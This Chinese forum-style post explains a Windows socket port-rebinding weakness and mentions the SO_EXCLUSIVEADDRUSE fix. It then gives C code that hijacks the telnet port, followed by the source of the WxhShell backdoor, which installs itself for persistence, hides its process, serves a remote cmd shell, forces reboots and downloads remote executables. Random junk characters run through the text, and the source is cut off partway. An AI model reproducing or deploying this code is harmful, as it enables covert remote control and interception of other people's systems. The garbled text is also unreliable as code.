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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vh:%e24Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,
e{kC ]l>)Di#*o saddr.sin_family = AF_INET; 8/f,B:by ^o]ZDc saddr.sin_addr.s_addr = htonl(INADDR_ANY); KvC`6 A('=P}I^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FW:x XK wAxXK94#3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D;It0" -cCujDM#T 这意味着什么?意味着可以进行如下的攻击:
"w0> }\`MXh's 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RF
4u\ \
(bi}?V* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S*6P=O* 1Tf"<Dp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pGz-5afL \~1M\gZP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 w:
~66 TCI Uu{I4ls6B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6)m}e?D> t5#IiPp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z VuHO7' IpmblC4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >v @R]9 @gQ{*dN #include }.Ht=E] #include |jV> #include V2cLwQ'0 #include n'{cU( DWORD WINAPI ClientThread(LPVOID lpParam); 5bX
SN$7| int main() c4oQ4 { jEsP: H(0^ WORD wVersionRequested; S,m)yh. DWORD ret; Mxn>WCPo WSADATA wsaData; @.T
'>;izr BOOL val; ahA21W`k SOCKADDR_IN saddr;
2&O!<C j SOCKADDR_IN scaddr; &a% |L=FY int err; xSZgQF~ SOCKET s; 1+RG@Cp SOCKET sc; LY[XPV]t int caddsize; 4df)?/ HANDLE mt; d0~F|j\# DWORD tid; `3^*K/K\ wVersionRequested = MAKEWORD( 2, 2 ); u?Jw) ` err = WSAStartup( wVersionRequested, &wsaData ); ^4_)a0Kcm, if ( err != 0 ) { '5.n28W> printf("error!WSAStartup failed!\n"); >6Y\CixN return -1; /=A?O\B7 } `:!mPNW# saddr.sin_family = AF_INET; t\E#8 xz5 Jli //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jXkz,]Iy 9l9nT saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uPc}a3'? saddr.sin_port = htons(23); zE5%l`@|o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9(DS"fgC { $-m@cObw!. printf("error!socket failed!\n"); C
Fq3 return -1; N"/jn_>+j } ~YKe:K+&z val = TRUE; bsy\L|wd //SO_REUSEADDR选项就是可以实现端口重绑定的 tM]~^U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cq+|fg~Yy { 5*u0VabC< printf("error!setsockopt failed!\n"); +uKh]RP return -1; vO!p8r
F } Aa-L<wZVPt //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fOCLN$x^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;@GlJ
'$; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yB\}e'J^ N|5J-fR& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H=[eO { AJt*48H*G ret=GetLastError(); :@{(^}N8u printf("error!bind failed!\n"); ED&>~~k) return -1; t7tX<|aN } |u8IQR'B listen(s,2); FuiG=quY while(1) Hj't.lg+j { wl H6 caddsize = sizeof(scaddr); M eo(|U //接受连接请求 Fg<$;p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p'fq&a+ if(sc!=INVALID_SOCKET) 1=gE,k5H { <7R\# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F|3Te?_ if(mt==NULL) yEIM58l { hp+=UnW printf("Thread Creat Failed!\n"); )isz
}?Dj break; NpqMdd } 9HrT>{@ } ;X,|I) CloseHandle(mt); , f{< } WzZ<ZCHm closesocket(s); @S\!wjl]C WSACleanup(); |;e K5(| return 0; H)z}6[` } P*Va<'{:{ DWORD WINAPI ClientThread(LPVOID lpParam) LgXc}3 { TeaP\a SOCKET ss = (SOCKET)lpParam; pA7& SOCKET sc; ZN#mu]jC? unsigned char buf[4096]; cO%-Av~P SOCKADDR_IN saddr; IHHL. gT long num; low
0@+Q DWORD val; >Lj0B%^EvM DWORD ret; LdnHz# //如果是隐藏端口应用的话,可以在此处加一些判断 =]jc{Y%o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 2#LTd{ saddr.sin_family = AF_INET; jsB%RvX saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =n.d' saddr.sin_port = htons(23); w%F~4|F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /ap3>xkt { ){^o"A?-: printf("error!socket failed!\n"); ,]RMa\Q4Wg return -1; .Qk T-12 } ))m\d * val = 100; ln.'}P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {7swE(N { EYWRTh ret = GetLastError(); y,'M3GGl return -1; vYb.Ub+ } D*.U? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k?]`PUrV { h=h4`uA9 ret = GetLastError(); n4 A_vz return -1; sI\v}$(~ } OZ>w.$ue if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B8A-|S!,U { e>z printf("error!socket connect failed!\n"); EQ< qN<uW closesocket(sc); Z./$}tVUG closesocket(ss); %;ST7 return -1; E;m]RtvH } VwJ A while(1) DmzK* O{ { sZ,xbfZby //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -yyim;Nj //如果是嗅探内容的话,可以再此处进行内容分析和记录 SQ&nQzL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <&JK5$l<X num = recv(ss,buf,4096,0); \cJ?2^Eq if(num>0) @GTkS!86 send(sc,buf,num,0); +I~`Ob else if(num==0) Lv;% z break; b)ytm=7ha num = recv(sc,buf,4096,0); ^#-d^ )f; if(num>0) 4z6i{n-k send(ss,buf,num,0); _v=S4A#tF else if(num==0) xAJ
N(8? break; 9~3;upWu! } v *'anw&Z closesocket(ss); 4-j3&( closesocket(sc); 24{Tl
q3 return 0 ; T($d3Nn1 } |q|?y`X4/ <46>v< $~)BO_;o ========================================================== 'k^d-Mh>h U)CGRh8%+ 下边附上一个代码,,WXhSHELL |w; hu] {"kEu ========================================================== 9ZXkuP9vm \vg(@)$q
#include "stdafx.h" ki|KtKAu_9 LAs#g||M #include <stdio.h> @6["A'h #include <string.h> `G/%U~ #include <windows.h> [d"]AF[# #include <winsock2.h> r_R(kns #include <winsvc.h> <'T:9 #include <urlmon.h> Z%&$_-yJ t+9[ki #pragma comment (lib, "Ws2_32.lib") FZFYwU\~.L #pragma comment (lib, "urlmon.lib") da[=d*I. qStZW^lFeY #define MAX_USER 100 // 最大客户端连接数 8-#_xsZ^; #define BUF_SOCK 200 // sock buffer ov3FKMG? #define KEY_BUFF 255 // 输入 buffer PI G3kJ "rl(%~Op #define REBOOT 0 // 重启 "aL.`^. #define SHUTDOWN 1 // 关机 ?Z^?A^; }$ DUrfC[jpv #define DEF_PORT 5000 // 监听端口 ?.{SYaS
lL\%eQ #define REG_LEN 16 // 注册表键长度 >b;o&E`\ #define SVC_LEN 80 // NT服务名长度 5&
2([ 7Gh+EJJ3I // 从dll定义API KUD.hK. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,|}}Ml typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yN@3uYBF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +DsdzR`Gx, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k`we_$/Gw ;{L ~|q J // wxhshell配置信息 8_W=)w6 struct WSCFG { 8(3nv[ int ws_port; // 监听端口 |lDxk[ char ws_passstr[REG_LEN]; // 口令 b#%$y int ws_autoins; // 安装标记, 1=yes 0=no -s3q(SH char ws_regname[REG_LEN]; // 注册表键名 cy-o@U"s8 char ws_svcname[REG_LEN]; // 服务名 UWXl
c char ws_svcdisp[SVC_LEN]; // 服务显示名 Ei HQ&u* char ws_svcdesc[SVC_LEN]; // 服务描述信息 #zf,%IYF char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I%|,KWM int ws_downexe; // 下载执行标记, 1=yes 0=no ~:krJ[= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" qkbGM-H%U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zH5pe WWEZTFL:j }; #"qP4S2 ApD`i+Y@ // default Wxhshell configuration !jQj1QZR` struct WSCFG wscfg={DEF_PORT, G'U ! # "xuhuanlingzhe", Rs@>LA 1, "M;aNi^B "Wxhshell", fEo5j`} "Wxhshell", 8@ZZ[9kt "WxhShell Service", T)Y{>wT "Wrsky Windows CmdShell Service", oNEjlV* "Please Input Your Password: ", 79*f <Gr 1, 9 _oAs"w " http://www.wrsky.com/wxhshell.exe", A+=K<e "Wxhshell.exe" @fQvAok }; 5r1u_8)' |NdWx1 // 消息定义模块 Q]{ `m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i7XM7+} char *msg_ws_prompt="\n\r? for help\n\r#>";
O0^?VW$y_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ;7>k[?'e char *msg_ws_ext="\n\rExit."; NNxzZ!q! char *msg_ws_end="\n\rQuit."; <GWzdj? char *msg_ws_boot="\n\rReboot..."; n\i~H char *msg_ws_poff="\n\rShutdown..."; pi|=3W char *msg_ws_down="\n\rSave to "; 1 2VSzIm S[;d\Z]~ char *msg_ws_err="\n\rErr!"; }`pxs char *msg_ws_ok="\n\rOK!"; oh0*b h -Hh.8(!XoO char ExeFile[MAX_PATH]; gy`WBg(7x int nUser = 0; |yinV fZ0C HANDLE handles[MAX_USER]; j.ZXLe~ int OsIsNt; \
z3>kvk ^~1Z"kAnT SERVICE_STATUS serviceStatus; $'x#rW>v SERVICE_STATUS_HANDLE hServiceStatusHandle; 7_Op(C4,nC H?_wsh4J // 函数声明 ym8pB7E7% int Install(void); tfCK^{ int Uninstall(void); qKD
Nw8> int DownloadFile(char *sURL, SOCKET wsh); b5S4C2Ynq int Boot(int flag); fm0]nT void HideProc(void); g)1`A24 int GetOsVer(void); sj 3[ny;b int Wxhshell(SOCKET wsl); *{("T void TalkWithClient(void *cs); Js<DVe, int CmdShell(SOCKET sock); 2b/Cs#- int StartFromService(void); `$9sYv 2R int StartWxhshell(LPSTR lpCmdLine); vD^Uod1 FEO/RMh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z5J$".O` VOID WINAPI NTServiceHandler( DWORD fdwControl ); (nwp s jdIAN // 数据结构和表定义 OWc~=Cr SERVICE_TABLE_ENTRY DispatchTable[] = gtnu/Q { (DkfLadB {wscfg.ws_svcname, NTServiceMain}, w|1O-k` {NULL, NULL} Mi} . }; n%6ba77 4-?zW // 自我安装 ^kK% 8 u int Install(void) @\WeI"^F8 { fZp3g%u char svExeFile[MAX_PATH]; |s,y/svp HKEY key; K: |-s4= strcpy(svExeFile,ExeFile); X4<Y5?&0 {TZV^gT4 // 如果是win9x系统,修改注册表设为自启动 DB+oCE<.# if(!OsIsNt) { bao"iv~z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FeNNzV= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qfX26<q RegCloseKey(key); "QvTn= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N F,<^ u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "&/lF[q RegCloseKey(key); @A|#/]S1 return 0; &~c`p [ } W9QVfe#s } R;zf x/ } uO)vGzt3^x else { 2;K2|G7 &O5O@3:7] // 如果是NT以上系统,安装为系统服务 `nRF"T_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +{#L,0t if (schSCManager!=0) g2?yT ? { Ae%AG@L SC_HANDLE schService = CreateService _\gCdNrD ( ]v]tBVO$ schSCManager, "d`u#YmR wscfg.ws_svcname,
7&dK_x,a wscfg.ws_svcdisp, 6!se,SCvw SERVICE_ALL_ACCESS, -ykD/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *,zrg%8 SERVICE_AUTO_START, e{H( SERVICE_ERROR_NORMAL, n]6-`fpD svExeFile, #-o 'g! NULL, T!I3. NULL, k=cDPu - NULL, pqTaN=R8 NULL, R9Y@I NULL ];'7~",Y ); z8XWp[K if (schService!=0) /I((A/ks { yp[,WZt CloseServiceHandle(schService); .%!^L#g CloseServiceHandle(schSCManager); TT no strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kE :{#>[Uz strcat(svExeFile,wscfg.ws_svcname); OIIA^QyV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J0imWluhQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tH~>uOZW RegCloseKey(key); 4bcd=a; return 0; ?E<9H/ } /|lAxAm? } W4bN']? CloseServiceHandle(schSCManager); ;E,i } p:)=i"uL } S503b*pM w:/3%- return 1; kZ PL$\/A }
CvR-lKV< %@:6& // 自我卸载 =\k:] int Uninstall(void) ?\)h2oi!F5 { ~N2=44e HKEY key; \._|_+HiW DN iH" 0% if(!OsIsNt) { -L<FVB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -$X4RS RegDeleteValue(key,wscfg.ws_regname); h#c7v!g RegCloseKey(key); )TEm1\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /::Y &&$f RegDeleteValue(key,wscfg.ws_regname); 4U16'd RegCloseKey(key); WEJ-K<A( return 0; !iq|sXs } #G_'5{V } T|0+o+i } 8.>himL else { 1w,34*- } AF8:bk,R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eco&!R[G if (schSCManager!=0) [[pt~=0 { K- $,:28 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &YcOmI/MM
if (schService!=0) N:okt)q:% { cRuN; if(DeleteService(schService)!=0) { zWv0y8[d CloseServiceHandle(schService); yn"4qC#Z CloseServiceHandle(schSCManager); tj*/%G{Y return 0; +KD7Di91<K } ;4(}e{ CloseServiceHandle(schService); x7Gf):,LK } ktS^^!,l% CloseServiceHandle(schSCManager); L|}s Z\2! } m=+x9gL2 } 3<xDxj0< >x3lA0m return 1; B^]PKjLNZ } ;TS%e[lFhQ #vhN$H :&q // 从指定url下载文件 N|Ag8/2A int DownloadFile(char *sURL, SOCKET wsh) q3#+G:nh { s2GF*{ HRESULT hr; (KwC,0p char seps[]= "/"; =Xg/[J% char *token; 0:>hK\F# char *file; X:I2wJDs\ char myURL[MAX_PATH];
jr_z
? char myFILE[MAX_PATH]; f0j]!g "*.N'J\ strcpy(myURL,sURL); }r! +wp token=strtok(myURL,seps); t=xEUOQAn while(token!=NULL) qTN%9!0@9 { W&:0J file=token; F>3 o0ke} token=strtok(NULL,seps); k& +gkJm } _ziSH 3( .c~z^6x GetCurrentDirectory(MAX_PATH,myFILE); D/~1?p strcat(myFILE, "\\"); vy 7/ strcat(myFILE, file); "bDj00nwh send(wsh,myFILE,strlen(myFILE),0); }]PHE(}7 send(wsh,"...",3,0); \D(3~y> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ajtH1Z# if(hr==S_OK) zTjie return 0; q\x.e.@ else Rw%?@X3m] return 1; |/^S%t6* gBi3^GxjM? } 9Li*L&B) =>B"j`oR // 系统电源模块 w$AR int Boot(int flag) Eu:/U*j { C}pm>(F~ HANDLE hToken; <R;wa@a> TOKEN_PRIVILEGES tkp; _^NaP 'j<u0'K@ if(OsIsNt) { <n 06(9BF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Btm_S\1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DKu$u ]Z tkp.PrivilegeCount = 1; y.J>}[\&x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }8#Ed;%K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bT&{8a if(flag==REBOOT) { ` =P_ed%&' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -l57!s~V return 0; h!K"
;qw } 8K-P]] else { k]5tU\;Yw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DE?k|Get2 return 0; `dG;SM$T, } H"8B4~*7H } tEvDAI} 5 else { 7~XA92 if(flag==REBOOT) { wCg7JW# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $ %MgIy return 0; 2O
Ur">_ } A1-,b.Ni else { m^!j)\sM5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ufIvvZ* return 0; ; Z7!BU } b7dsi|Yo } 8]^|&"i.\d
T`fT[BaY return 1; #jg-q|nd } bUm%#a jaodcT0 // win9x进程隐藏模块 IRx%L? void HideProc(void) 8`urkEI^r { ub-e! { FEu"b@v HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SfC* ZM}< if ( hKernel != NULL ) }bca-|N { H
Eq{TUTr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q%])dZ!lE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #<b\B qYG FreeLibrary(hKernel); 'Xj^cX } d=qVIpZ PHqg~q;* return; 4~h0/H" } (9I(e^@] q9rm9#}[J# // 获取操作系统版本 FsJk"$} int GetOsVer(void) k+-?b(z)$ { {c9 fv H OSVERSIONINFO winfo; #J&3Zds winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5tpC$4m GetVersionEx(&winfo); 2I_ yUt- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n'V{ return 1; o/o6|[=3 else :G@z?ZJ[ return 0; :cWU,V } 5["3[h 5uQ+'*xN% // 客户端句柄模块 s0;a j<J int Wxhshell(SOCKET wsl) InbB2l4G { UzaAL9k SOCKET wsh; gR# k' struct sockaddr_in client; M9R'ONYAa DWORD myID; Eqz|eS*6 (JlPe)Q5 while(nUser<MAX_USER) ]VKQm(,0 { #z.n?d2Gd int nSize=sizeof(client); S._2..%G wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s=(q#Z if(wsh==INVALID_SOCKET) return 1; L}rZ1wV6 27ZqdHd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FNH)wk if(handles[nUser]==0) }6-olVg closesocket(wsh); m8{8r>6* else N s0,Z#Z+ nUser++; "ymR8y' } 5s3QN{h8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E,.PT^au uM1$3< return 0; #W)m({} } ?g4Rk9<!i V /2NIh // 关闭 socket '[liZCg void CloseIt(SOCKET wsh) J^jd@E { &"K_R(kN closesocket(wsh); &Ril[siw nUser--; bl
a`B=r ExitThread(0); w6!97x } AH&RabH2 uthW
AT & // 客户端请求句柄 |;~=^a3?q void TalkWithClient(void *cs) qA!p7"m| { 7ihcjyXB rHw#<oV SOCKET wsh=(SOCKET)cs; 3#t#NW*e char pwd[SVC_LEN]; fEL 9J{ char cmd[KEY_BUFF]; d%0Gsga} char chr[1]; q`r| DcN~ int i,j; v%cCJ SO# G8+&fn6 while (nUser < MAX_USER) { G3^<l0?S >eG<N@13p if(wscfg.ws_passstr) { v2rO>NY4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $aJ6i7C,j} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L$_%T //ZeroMemory(pwd,KEY_BUFF); <<?32r~ i=0; ?ld&}|W~ while(i<SVC_LEN) { YT+b{ a_P|KRl // 设置超时 >"!ScYn fd_set FdRead; 0}e?hbF%U struct timeval TimeOut; /.7RWy` FD_ZERO(&FdRead); $L0sBW& FD_SET(wsh,&FdRead); I
m
I$~q' TimeOut.tv_sec=8; q{9 \hEeb TimeOut.tv_usec=0; $?W2'Xm!V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q}L`8(a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5xdeuBEY8 4t(/F` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kH hp;< pwd =chr[0]; Ny7*MZ- if(chr[0]==0xd || chr[0]==0xa) { T>%
5<P pwd=0; #&kj> break; /J-'[Mc'D[ } xkRMg2X.>9 i++; kqih`E9P7B } Skci;4T( 1}la)lC // 如果是非法用户,关闭 socket k^;n$r"i5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wO%lM } +U<YM94? B@M9oNWHu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g=nb-A{# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _:Xmq&<W K0(
S%v|,} while(1) { _-({MX[3k< kQbZ!yl>[ ZeroMemory(cmd,KEY_BUFF); }ZVond$y4 ZAfuW^r // 自动支持客户端 telnet标准 FulFEnSV j=0; A{q%sp:3~ while(j<KEY_BUFF) { ,on]Fts if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =>5Lp cmd[j]=chr[0]; rmA?Xlh\ if(chr[0]==0xa || chr[0]==0xd) { d*{Cv2A. cmd[j]=0; <!RkkU&
6 break; 34!.5^T } KX9IC5pR j++; 7mYcO3{5{ } +^(_S9CO RD[P|4eY // 下载文件 &J2UAmB if(strstr(cmd,"http://")) { s9sl*1n1m` send(wsh,msg_ws_down,strlen(msg_ws_down),0); FtyT:=Kpc if(DownloadFile(cmd,wsh)) |#o' =whTl send(wsh,msg_ws_err,strlen(msg_ws_err),0); VB*c1i else &6OY^6< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); af |mk@ } 6k;5T else { 6vbKKn`ST 1ygEyC[1 switch(cmd[0]) { G(wK(P0j jw{N#QDh // 帮助 `ZEFH7P case '?': { ;]1t|td8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B,%6sa~I break; 2fr%_GNu } h +B7BjA>G // 安装 Rw0|q case 'i': { z[J=WI if(Install()) id9QfJ9t send(wsh,msg_ws_err,strlen(msg_ws_err),0); G3TS?u8Q else dT'}:2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *B!Ox}CI.L break; w>f.@luO4 } cJ$jU{} // 卸载 9*s8%pL case 'r': { |
CFG<] if(Uninstall()) y%%VJ}'X! send(wsh,msg_ws_err,strlen(msg_ws_err),0); >gzM-d else [ ?7QmZK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kt*b)
< break; ]2f-oz*hU } z{OL+-OY // 显示 wxhshell 所在路径 B(Yg1jAe case 'p': { z8a{M$-Q char svExeFile[MAX_PATH]; .B~yI3D`M strcpy(svExeFile,"\n\r"); Wo&22,EB strcat(svExeFile,ExeFile); +I5\`By= send(wsh,svExeFile,strlen(svExeFile),0); X8Z) W?vu break; ]'xci"qV` } el5Pe{j' // 重启 ^V; r case 'b': { %!Eh9C* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d)uuA;n if(Boot(REBOOT)) ! N2uJ?t send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^}$t(t else { >4wigc closesocket(wsh);
iWjNK"W ExitThread(0); 'Iw`+=iVz } 0(+<uo~6p1 break; m33&obSP } YM;ro5_KF // 关机 c`3`}&g# case 'd': { BTr
oe=R send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bTeuOpp if(Boot(SHUTDOWN)) I(VqtC:K. send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0O'M^[=d.8 else { #0r^<Yn closesocket(wsh); {'zS8 ExitThread(0); )XonFI } <$?#P#A break; sT1OAK\^ } U3Gg:onuE // 获取shell [\Wl~
a l case 's': { moFrNcso CmdShell(wsh); N:3=G`Ws closesocket(wsh); Pn^:cr| ExitThread(0); [p'2#Et break; 51eZf JB } e:-pqZT` // 退出 4ZUtK/i+r case 'x': { ~N9k8eT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [.|& /O CloseIt(wsh); e^q^AP+* break; Pn4.gabE } z@IG"D // 离开 hb8oq3*x case 'q': { /[Fk>Vhp send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^3sv2wh^|8 closesocket(wsh); ?pJ2"/K
WSACleanup(); , Zie2I?q exit(1); *j83E[(] break; :1f,%Z$,q } 4IZAJqw(* } _s#J\!F } WVQHb3Pe0 7n .A QII // 提示信息 C\"C12n{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ).,twf58 } <k1muSe } Yqh-U%"' ES,JdImZ| return; k"[AV2UW1 } ;ja~Q .}4 oD2! [& // shell模块句柄 ?XVE{N int CmdShell(SOCKET sock) bh8GP]*E| { ]GRVU STARTUPINFO si; hs+)a%A3G ZeroMemory(&si,sizeof(si)); kS{k=V&hf_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <^;~8:0] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T@vE@D PROCESS_INFORMATION ProcessInfo; am5;B`}q char cmdline[]="cmd"; R7:u 8-dU1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~,s'- return 0; _0naqa!JyH } aC9iNm8w !4^Lv{1QZ // 自身启动模式 Ye|gW=FUR int StartFromService(void) 0?FJ~pu { G@D8[ typedef struct
(oiQ5s^f { '#A_KHD DWORD ExitStatus; ^K[xVB(& DWORD PebBaseAddress; 5![ ILa_ DWORD AffinityMask; nY;Sk#9 DWORD BasePriority; 5<GeAW8ns] ULONG UniqueProcessId; O
'#FVZ.g ULONG InheritedFromUniqueProcessId; o\tw)_ > } PROCESS_BASIC_INFORMATION; L1lDDS# E}w5.1 PROCNTQSIP NtQueryInformationProcess; ;gHcDnH) e"EGqn&! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'Eia=@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DfkGNBY Z{ YuX HANDLE hProcess; K7x;/O PROCESS_BASIC_INFORMATION pbi; Pj56,qd>s "6WJj3hN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kN<;*jHV if(NULL == hInst ) return 0; 8=f+`e }3
